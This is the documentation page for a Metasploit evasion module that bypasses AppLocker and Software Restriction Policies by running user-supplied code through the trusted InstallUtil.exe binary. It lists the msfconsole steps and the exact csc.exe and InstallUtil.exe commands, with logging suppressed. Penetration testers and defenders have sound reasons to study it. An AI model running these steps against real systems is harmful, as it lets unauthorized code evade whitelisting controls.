Path: blob/master/documentation/modules/evasion/windows/applocker_evasion_install_util.md
28191 views
Introduction
This module is designed to evade solutions such as software restriction policies and Applocker. Applocker in its default configuration will block code in the form of executables (.exe and .com, .msi), scripts (.ps1, .vbs, .js) and dll's from running in user controlled directories. Applocker enforces this by employing whitelisting, in that code can only be run from the protected directories and sub directories of "Program Files" and "Windows" The main vector for this bypass is to use the trusted binary InstallUtil.exe to execute user supplied code as this binary is located within the trusted Windows directory.
Vulnerable Application
This evasion will work on all versions of Windows that include .NET versions 3.5 or greater that has solutions such as Applocker or Software Restriction Policies active, that do not explicitly block InstallUtill.exe or the "Microsoft.Net" directory.
Options
FILENAME - Filename for the evasive file (default: install_util.txt).
Verification Steps
Start
msfconsoleDo:
use evasion/windows/applocker_evasion_install_utilDo:
set PAYLOAD <payload>Do:
runThe module will now display instructions of how to proceed
[+] install_util.txt stored at /root/.msf4/local/install_util.txt[*] Copy install_util.txt to the target[*] Compile using: C:\Windows\Microsoft.Net\Framework64\[.NET Version]\csc.exe /out:installutil.exe install_util.txtreplace [.NET Version] with the version directory present on the target (typically "v4.0.30319").[*] Execute using: C:\Windows\Microsoft.Net\Framework64\[.NET Version]\InstallUtil.exe /logfile= /LogToConsole=false /U installutil.exereplace [.NET Version] with the version directory present on the target (typically "v4.0.30319").